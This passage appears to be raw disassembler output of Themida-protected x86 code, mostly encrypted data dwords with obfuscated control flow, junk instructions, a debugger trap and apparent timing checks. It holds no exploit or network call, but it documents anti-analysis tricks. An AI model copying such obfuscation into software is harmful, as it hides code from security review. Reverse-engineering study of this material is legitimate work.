97D2B4F6h, 5C0833Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 5BC35747h, 47BE90D0h, 504EF0D2h, 79BF5790h dd 5F209581h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0F9F67C3h, 684h, 0B18D3100h, 6A06A833h dd 0B1BD8900h, 0FF06A809h, 0A8254195h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0ADEB7C1Fh, 59BDAECEh, 8DF28B4Fh, 0AB8C7F9Dh, 0C5BD8B06h dd 0FF06A81Ah, 55006AD3h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 3DAE4EDAh, 0E9194587h dd 8, 6F6D1505h, 10F976DCh, 33F185FFh, 6A06A8h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8B9D4DC3h, 0A81425B5h, 9D8B6006h, 6A83149h, 68B0Fh dd 85890000h, 6A807F1h, 1880F61h, 0FC000000h, 874E9h, 0E800h dd 815D0000h, 0ABDCADEDh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 2165F849h dd 660F8219h, 6008DF81h, 0AE8h, 899A9A00h, 35850079h, 0FB4A899h dd 38Bh, 0FB8B6600h, 6DBD815Fh, 0D006A817h, 0F000007h dd 15D86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 7DCAE7Fh, 56BE541Ch, 8B4CFFCBh, 0A8324D9Dh dd 5DB58B06h, 8106A82Bh, 100E3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 5FFAC78Dh dd 0DA344498h, 81669CBAh, 0B2F18F6h, 8B850FDBh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 838DC356h, 0ABDA49BDh, 840F0006h, 4Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 48C35646h, 8DA67D2Ch dd 0FFB9F68Eh, 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0B9F54BFEh, 2171B58Bh dd 85C706A8h, 6ABDA49h, 1, 82F68166h, 16E918h, 85C70000h dd 6ABDA49h, 0 ; --------------------------------------------------------------------------- and esi, 2DA7BA9h mov [ebp+6A81F81h], esi lea ebx, [ebp+6A8324Dh] push 0 push ecx call sub_58782D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58782D proc near ; CODE XREF: Themida_:00587825p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_58782D endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- cld push ds dec ebx aad 4Dh and esi, [edx+1E19BD8Bh] test al, 6 and dword ptr [ebx], 0FFFFFEFFh push 0 push edi call sub_58785C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58785C proc near ; CODE XREF: Themida_:00587854p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58785C endp ; --------------------------------------------------------------------------- pop eax push ecx mov bx, ds push 0 push eax call sub_58787C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58787C proc near ; CODE XREF: Themida_:00587874p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_58787C endp ; --------------------------------------------------------------------------- xor esi, [eax-482F742Dh] sub al, 0E2h aas int 3 ; Trap to Debugger movzx edi, cx test bl, 4 jz loc_5878F0 jmp loc_5878AD ; --------------------------------------------------------------------------- db 5Dh dd 0D04A32DDh db 3Ch ; --------------------------------------------------------------------------- loc_5878AD: ; CODE XREF: Themida_:005878A2j call dword ptr [ebp+6A8068Dh] xor [ebp+6A80145h], ecx nop pusha js loc_5878C5 mov ax, 0E637h loc_5878C5: ; CODE XREF: Themida_:005878BBj jge loc_5878E1 call sub_5878E0 mov bl, 0E8h db 36h mov ch, 0DEh setp byte ptr [edi+ebx*4+73h] daa ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- enter 0FFFFD4DFh, 0F5h ; =============== S U B R O U T I N E ======================================= sub_5878E0 proc near ; CODE XREF: Themida_:005878CBp pop ecx loc_5878E1: ; CODE XREF: Themida_:loc_5878C5j popa push eax js $+6 nop mov esi, [ebp+6A80521h] loc_5878F0: ; CODE XREF: Themida_:0058789Cj jmp loc_587CB4 ; --------------------------------------------------------------------------- db 60h, 1, 85h dd 6A82195h, 0B559D29h, 0B06106A8h, 1EBE6600h, 6A70E6E9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1A1CC350h, 68D0Fh, 95290000h, 6A833A1h, 0C0DB503h dd 71E406A8h, 0FF9BF0Fh, 0BE66D8B6h, 6BA3330h, 8B000000h dd 0A806C9B5h, 6AC38B06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0E6E4C357h, 9C02C26Dh dd 0C11BE2B0h, 0BE6604E8h, 0F766739Ch, 8BD82BE2h, 0A81401B5h dd 0BF669306h, 0E950CA76h, 12h, 0C3D68D7Eh, 0CB777D2Fh dd 7DB32EADh, 32AC66D3h, 0F893BA43h, 176DB5FFh, 6A06A8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 8B7B2EC3h, 8C0F18h, 89000000h, 0A80C0DB5h, 158D8906h dd 0FF06A806h, 0A81B3195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2600347h, 81A95C02h dd 0BFFCECE7h, 6800F1Eh, 8B000000h, 0A8255DB5h, 6A00B006h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0ABA8C355h, 8B302F40h, 0A82CD5BDh, 0A1BD8B06h dd 0E606A809h, 6E970h, 79A50000h, 8B23F4h, 0BE6671E4h dd 613C5D68h, 252830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 48DF0CC3h, 88ED4D27h dd 0FE9CFDDh, 187h, 0B60FF800h, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0E679C792h dd 26CDB58Bh, 6BA06A8h, 8B000000h, 6AC38BFEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0FDEC350h, 6E9h, 0C91A0300h, 8B554051h, 0A81AC5BDh dd 4E8C106h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0B4C35040h, 662B9936h, 0D82BE2F7h, 58F7B70Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 73C35242h, 0C20427D9h dd 0FD82B73h, 17388h, 198B0F00h, 0E8000000h, 0Dh, 6CAD7160h dd 4D0EB058h, 4E830ECEh, 61BD89F5h, 5F06A82Eh, 7B9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0ABC20CFCh, 0C1839392h, 0DBD0300h, 3B06A815h, 1D860FD9h dd 81000001h, 0D020EEEFh, 55B58932h, 6606A814h, 0B58BD98Ch dd 6A801D1h, 0F04C1F6h, 0DE84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 40F79554h dd 37539BFBh, 0F98BFB68h, 68D95FFh, 0DE806A8h, 17000000h dd 4E708943h, 7EBF6664h, 7E813A0Fh, 27FD8D89h, 5B5E06A8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E2C35040h dd 0FDD3E278h, 8B1289C5h, 0A82F55BDh, 8BC32B06h, 0A80D99B5h dd 8343D06h, 860F0000h, 5Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0E7C35545h, 0C2A84729h, 880F93AFh dd 5, 3FDF8166h, 1BD89D3h, 0E906A803h, 44h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B2C35343h, 198529C2h dd 8B06A808h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0FEBF0F7Bh ; --------------------------------------------------------------------------- loc_587CB4: ; CODE XREF: sub_5878E0:loc_5878F0j mov eax, ebx mov ebx, eax push 0 push edi call sub_587CC3 and [edi-3Dh], bl sub_5878E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_587CC3 proc near ; CODE XREF: sub_5878E0+3DBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_587CC3 endp ; --------------------------------------------------------------------------- sub bl, [edx] or cl, [ecx-57D5B263h] push es mov dword ptr [ebp+6A80941h], 7FE5A9DFh mov eax, eax push 0 push edx call sub_587CF3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587CF3 proc near ; CODE XREF: Themida_:00587CEBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_587CF3 endp ; --------------------------------------------------------------------------- and eax, [eax+9E2DE5Eh] mov edi, 1F7AF83h cmp dword ptr [ebp+6A8176Dh], 7D0h jnz loc_587D54 sbb edi, 0AAB9B57h inc dword ptr [ebp+6A8176Dh] push 0 push esi call sub_587D35 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587D35 proc near ; CODE XREF: Themida_:00587D2Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_587D35 endp ; --------------------------------------------------------------------------- db 51h, 0C8h, 0E9h dd 8, 0F977EB7Eh, 7467BAE7h ; --------------------------------------------------------------------------- loc_587D54: ; CODE XREF: Themida_:00587D18j push dword ptr [ebp+6A8176Dh] push 0 push esi call sub_587D65 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587D65 proc near ; CODE XREF: Themida_:00587D5Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_587D65 endp ; --------------------------------------------------------------------------- db 6Dh, 31h, 0A8h ; --------------------------------------------------------------------------- pushf push esi dec ebp cmpsb pop ebp mov esp, 0DE816609h mov bl, 5Bh call dword ptr [ebp+6A81B31h] push 0 push edi call sub_587D95 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587D95 proc near ; CODE XREF: Themida_:00587D8Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_587D95 endp ; --------------------------------------------------------------------------- db 0D1h, 1Ch, 0FEh dd 1B8BEC9Ch, 0DDB589DDh, 8106A81Dh, 6704E3D6h, 0BD33905Ch dd 6A832ADh, 17EDBD8Bh, 8B6606A8h, 8E9F0h, 95E00000h, 820BC4EBh dd 0B5239F99h, 6A80911h, 21959501h, 0E96006A8h, 0Bh, 0C9A0FF60h dd 0DFE6FDFh, 8B734DA5h, 860F56C6h, 0 ; --------------------------------------------------------------------------- pop eax popa push 0 push ebx call sub_587E09 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587E09 proc near ; CODE XREF: Themida_:00587E01p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_587E09 endp ; --------------------------------------------------------------------------- sbb ebp, [esi+ebp+60h] mov ecx, [ebp+6A806D5h] jnp loc_587E2C movsx esi, bx loc_587E2C: ; CODE XREF: Themida_:00587E23j mov bh, 9Bh movsx edi, bx popa push 0 push ecx call sub_587E3D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587E3D proc near ; CODE XREF: Themida_:00587E35p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_587E3D endp ; --------------------------------------------------------------------------- db 35h, 81h, 0F9h ; --------------------------------------------------------------------------- jmp loc_587E62 ; --------------------------------------------------------------------------- db 0D3h, 0E3h, 0A7h dd 122787EFh, 8AEE0C68h db 0BBh, 0FCh ; --------------------------------------------------------------------------- loc_587E62: ; CODE XREF: Themida_:00587E50j movsx esi, cx mov di, bx jmp loc_587E7B ; --------------------------------------------------------------------------- dec esi retn ; --------------------------------------------------------------------------- db 67h dd 3DF788E7h, 22732C56h db 16h, 9Ch, 84h ; --------------------------------------------------------------------------- loc_587E7B: ; CODE XREF: Themida_:00587E68j sub [ebp+6A80E09h], eax adc si, 6720h jb loc_587E8F mov di, bx loc_587E8F: ; CODE XREF: Themida_:00587E86j push 0 push edi call sub_587E9A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587E9A proc near ; CODE XREF: Themida_:00587E92p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_587E9A endp ; --------------------------------------------------------------------------- dw 7191h dd 0DE8738Ch, 0FF000000h, 69A9BE38h, 0DDD051F9h, 0B4C2F707h dd 8E853h, 0B58C0000h, 0E426406Ch, 605ED9A8h, 95295F61h dd 6A832B9h, 6870F5Eh, 81000000h, 10B201EEh, 0F7CBE92Ch dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 3281A6C3h, 8942C0C6h, 66E10C31h, 7E9F98Bh dd 0CB000000h, 6F0CFEEh, 6DBEFA58h, 8914CA48h, 0A81EC58Dh dd 89C18B06h, 0A82E0D8Dh, 4EB06h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 1506C350h, 0E66F37E0h, 0F38BA1F6h, 3DB58B56h, 5F06A81Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 18C35747h dd 0E0C92B55h, 1569BD8Bh, 858D06A8h, 6A83385h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E6C35545h, 19922928h dd 30C56DDh, 0A80C3DBDh, 0B1BD8B06h, 5006A834h, 9E9h, 1D137000h dd 37BBA32Eh, 4897660h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0F9B5030Ah, 752DBA95h dd 0B58B4B1Ah, 6A80841h, 6AF78B66h, 87E6BE00h, 6A728Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 46C35040h dd 8D39EC4Ah, 0ABE70085h, 0AA40BF06h, 0C08347DAh, 4D853105h dd 9006A80Fh, 310F5250h, 38C0Fh, 8B660000h, 50585AF2h dd 10E990h, 81DF0000h, 0AA412929h, 0CDA16FA8h, 0C5AD80E8h dd 6AD479h, 33D18529h, 0B58B06A8h, 6A808E5h, 0F781006Ah dd 4A0498B7h, 254195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 1ADD75C3h, 2ED9BD8Bh dd 9D8D06A8h, 6AB8C7Fh, 6F99589h, 0D3FF06A8h, 12E8h, 5DD5DB00h dd 9DD427E9h, 0C9A2FCAh, 7D21E180h, 5F40D2C9h, 64D9D89h dd 85FF06A8h, 6A833F1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0F7C35545h, 255CDEF0h, 0B67E54B4h, 418D8902h dd 5606A82Eh, 6810Fh, 0BD8B0000h, 6A82CCDh, 799E95Fh, 0E80000h dd 5D000000h, 0E70AED81h, 0B53306ABh, 6A810F1h, 176DBD81h dd 7D006A8h, 860F0000h, 12Ah, 919BD31h, 9D8B06A8h, 6A8259Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DDC35545h dd 0F5E19036h, 100E381h, 49BE0000h, 0B46EF62h, 72850FDBh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 7AC1C352h, 8BAF80DAh, 0A832A5BDh dd 26BD8306h, 6ABE5h, 13840Fh, 89510000h, 0A80835B5h, 42E95E06h dd 8B000000h, 0A81AD5B5h, 2685C706h, 106ABE5h, 50000000h dd 6890Fh, 800F0000h, 0 ; --------------------------------------------------------------------------- pop esi mov esi, 26020685h jmp loc_5881F5 ; --------------------------------------------------------------------------- jmp loc_5881E5 ; --------------------------------------------------------------------------- dd 36EA7E20h db 87h ; --------------------------------------------------------------------------- loc_5881E5: ; CODE XREF: Themida_:005881DBj mov dword ptr [ebp+6ABE526h], 0 mov [ebp+6A80AD1h], ecx loc_5881F5: ; CODE XREF: Themida_:005881D6j lea ebx, [ebp+6A8259Dh] push 0 push ecx call sub_588206 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588206 proc near ; CODE XREF: Themida_:005881FEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_588206 endp ; --------------------------------------------------------------------------- dw 2978h dd 8F0F1842h, 6, 2A9BD8Bh, 12E806A8h, 31000000h, 3664DE08h dd 3893449h, 0EAD71302h, 4A7CF0C5h, 23815F7Ah, 0FFFFFEFFh dd 148B0Fh, 8E80000h, 0B6000000h, 0C001864Dh, 8B2105F7h dd 0A80E05B5h, 8C665F06h, 56006ADBh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0BA1B9203h dd 128E0Fh, 0DE90000h, 0B0000000h, 4B12306Eh, 5CBE75E9h dd 0D8643805h, 0F04C3F6h, 5F84h, 95FFF800h, 6A8068Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BC35646h, 0FCC55D59h dd 60525090h, 0FE85A53h, 84000000h, 72D06081h, 0E138F886h dd 0EDC6C929h, 615EBE93h, 585A310Fh, 90FB8B50h, 0FE9h dd 1611AE00h, 1F990281h, 0EC01FA09h, 80ED75BEh, 3B7E9h dd 8DBD0B00h, 0B006A802h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 46BDDD56h dd 0D195316Ah, 0F06A81Fh, 58Ch, 0D7816600h, 70E685DBh dd 5E9h, 33BCDF00h, 71E4D455h, 10E9h, 33CB7D00h, 7FBFED3Ah dd 0CB1F4BF8h, 318F2495h, 0D8B60FDAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0CC35747h, 6BA95h, 0B58B0000h dd 6A8250Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 6408CC3h, 0C1FAB70Fh, 0B58B04E8h dd 6A81DB9h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 2B8FC350h, 57006AD8h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 89B9A8C4h, 0A808E98Dh, 66509306h, 9331F1BFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F6C35242h, 0D509E067h dd 0CE9h, 19812F00h, 0D4437422h, 0EAA99109h, 6DB5FF27h dd 6A06A817h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 1327C353h, 728CBA6Ah, 0FFACF80Ah dd 0A81B3195h, 0CDBD8B06h, 0B006A815h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0F508EE3Ah, 6DB58B58h, 0F06A82Fh, 8BFF0B7h, 0E6453582h dd 0D9BD8B70h, 0E406A82Dh, 7E871h, 518B0000h, 0A1E5D192h dd 8DB58B6Bh, 5E06A81Fh, 830F613Ch, 1FCh, 0D810Fh, 8E90000h dd 0A9000000h, 0FE583A14h, 0F0CDEA0h, 0BE66D8B6h, 6BAA01Dh dd 8B000000h, 0A81519BDh, 6AC38B06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E86AC355h dd 8D5C4687h, 0BF0F2CDCh, 4E8C1FEh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0B2C35545h, 3083D80Ch, 0DC147BD1h dd 0FA8B6625h, 31E2F766h, 0A82C719Dh, 0BFD82B06h, 7B1A9175h dd 0D9816058h, 0C2E8179h, 11E8h, 8D384400h, 8720FFE0h dd 83B6114Eh, 7A775676h, 0AE970B0h, 5C000000h, 9E000C1Ah dd 474CD75h, 2B615F39h, 3D880FD8h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 409CC352h, 0E6040BF6h, 0C5BD890Dh, 0B906A82Eh, 7, 0AE9h dd 0B2802700h, 56432EFDh, 8328EE1Ah, 6A00C1h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A68A7BC3h dd 37C6819Ch, 661C3BA7h, 3BA362BEh, 0CD860FD9h, 8B000000h dd 0A81F51BDh, 0D98C6606h, 0D628BF66h, 4FA6BE66h, 0F04C1F6h dd 8684h, 0BD8B6000h, 6A829BDh, 8D95FF61h, 8B06A806h, 0A82AF9B5h dd 0BD8B5B06h, 6A80F31h, 94BEC32Bh, 3D57ECC3h, 834h, 59860Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0F5ECC6C3h, 0BF2F5534h, 1A75BD89h, 0B53306A8h dd 6A82CA9h, 53E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1EB4D78Dh, 2FB09F33h dd 8BFEBF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0EC230749h, 8F0FA640h, 3, 0FCF88B66h dd 0D88BC38Bh, 0E8F28B66h, 14h, 68F1539Dh, 0BC7C42E5h dd 0AE9F63Eh, 16FD2A8Dh, 8DCA4B85h, 0F65BD89h, 0C75E06A8h dd 0A8324D85h, 0E19F7D06h, 57006A72h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4181C7AAh dd 29B95A52h, 0A80779B5h, 0F28B6606h, 15BEC08Bh, 6659639Ah dd 0BD81F88Bh, 6A8176Dh, 7D0h, 3F850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0CB823DC3h, 0CBF50D4Eh, 0AE9F9ABh, 4B000000h, 0EBFBF09Ah dd 8AA81F72h, 6D85FF55h, 8B06A817h, 0A80FD1BDh, 6DB5FF06h dd 6606A817h, 95FFF08Bh, 6A81B31h, 40D359BFh, 6A9065h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0DE068EC3h, 42CBE61Ah, 57006AF2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0E67B9B63h dd 0BD8B238Ah, 6A82991h, 0B25B58Bh, 6A06A8h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0B589A0C3h dd 6A828C9h, 0B117F681h, 6A1238h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 4349AFC3h, 2E61BD8Bh dd 0BD3306A8h, 6A8055Dh, 39800Fh, 0AE90000h, 28000000h dd 7249CC4Eh, 24910A25h, 8F0F604Bh, 0 ; --------------------------------------------------------------------------- sub [ebp+6A8091Dh], edx jmp loc_588862 ; --------------------------------------------------------------------------- db 0A1h dd 663CC5EEh, 0E55A3607h, 9500E97Ch, 747E228Bh db 0FFh, 14h ; --------------------------------------------------------------------------- loc_588862: ; CODE XREF: Themida_:0058884Aj mov si, 0D7D2h popa mov [ebp+6A810DDh], ecx push 0 push ebx call sub_588878 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588878 proc near ; CODE XREF: Themida_:00588870p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_588878 endp ; --------------------------------------------------------------------------- dd 0F28B66E3h, 0FFF881E9h, 4EBF66FFh, 0DE815174h, 0E40A913h dd 9D952960h, 3106A832h, 0A80515B5h, 8B5F6106h, 57006AC1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0EF815E5Ch, 445E5A5Fh, 4EBh, 0BD890000h, 6A82BD5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 74C35343h, 25605CABh dd 0CE9h, 0C4C50600h, 0F4F167BDh, 236D813Bh, 79B58912h dd 8D06A807h, 0A8338585h, 0C5853106h, 5006A814h, 7576B6BFh dd 2404892Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 7AC35242h, 6A3FF7h, 6860Fh, 0DF810000h, 7315251Fh dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0C2433AC3h, 0F1EE8108h, 8D615211h, 0ABF06E85h dd 10E906h, 0DE130000h, 0EDDCDC9Dh, 0B45F0641h, 0CC391406h dd 0C083A922h, 0E1D68105h, 906985C2h, 6800F57h, 0F000000h dd 8Ch, 0E9505E00h, 0Fh, 0ACDF109Dh, 40E29F95h, 81EEE5FCh dd 90F468AAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0F8C35141h, 0D2376DADh, 285E826Eh, 6AF571h, 2D79B58Bh dd 6A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 9CC35646h, 0B58BD7CCh, 6A80D99h, 254195FFh, 850F06A8h dd 15h, 10E9h, 0CC32D700h, 0FD56CC8Dh, 29FCE46Ah, 0E8F5BDEh dd 7F9D8DB2h, 6A06AB8Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0FA49C353h, 8B811541h dd 29D3FFF3h, 0A82A8595h, 0D9B58906h, 0FF06A829h, 0A833F185h dd 0D18D8906h, 0E906A800h, 860h, 0E8h, 0ED815D00h, 6ABF078h dd 7E9h, 65456B00h, 0C9D8A2ECh, 176DBD81h, 7D006A8h, 860F0000h dd 13Ch, 60F1BF0Fh, 1AE5B529h, 61F906A8h, 1ED9D8Bh, 6A06A8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 80364DC3h, 4725C1EBh, 0E381F9h, 0F8000001h, 0A4CF8166h dd 0FDB0B74h, 6085h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 2D97AB2Dh, 99B58B90h dd 0F506A828h, 0EEC5BD83h, 0F0006ABh, 0B84h, 4FE900h, 0C6810000h dd 6122DBEAh, 0EEC585C7h, 106ABh, 870F0000h, 6, 1D7D8D29h dd 2EE906A8h, 8B000000h, 0A800A5BDh, 0C585C706h, 6ABEEh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 82D4C356h, 0ED9D8DBCh, 6A06A801h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0C7F2C356h, 5CD5F819h, 0BEF15CEAh, 4BEF591Eh dd 5E9h, 27070D00h, 0BE665792h, 2381F13Ah, 0FFFFFEFFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9AC35242h dd 9393B073h, 2E21B589h, 0F88B06A8h, 6ADB8C66h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0E5AC355h, 9589F157h, 6A83109h, 0F04C3F6h, 0B384h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0D061A3DCh, 4F34D70Dh, 8D95FFA8h, 6A06A806h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0E9F2C357h, 12h, 77F89B82h, 58E5BEDCh, 8ABE7B93h, 5CA403EBh dd 11E8BF6Bh, 5A000000h, 0C3AF073h, 0DCA64A20h, 8F18521Fh dd 0FB5D5FE5h, 5250905Eh, 5870Fh, 0A0BF0000h, 0F133418h dd 8FBE6631h, 50585A6Ch, 50006A90h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0F2722432h, 0BAC803AFh dd 0F9FE8B66h, 3EAE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0E2279755h, 0FD3E278h dd 685h, 0CDB58B00h, 0B006A80Fh, 758D2900h, 0E606A833h dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 9E3D6FB4h, 0E9FD7BE8h, 0Ah, 8596DF3Ah, 0A61D1BCBh dd 71E49BADh, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 516EC353h, 0BF6657F9h dd 0BA5FD313h, 6, 31899D29h, 0C38B06A8h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 29C35646h, 0A8F0F51h dd 0E9000000h, 5, 17ABAD36h, 0E8C15E1Ch, 0E9BD3304h, 6606A80Dh dd 0B52BE2F7h, 6A80E65h, 0E681D82Bh, 2D68B36Dh, 241C8950h dd 0E850006Ah, 3, 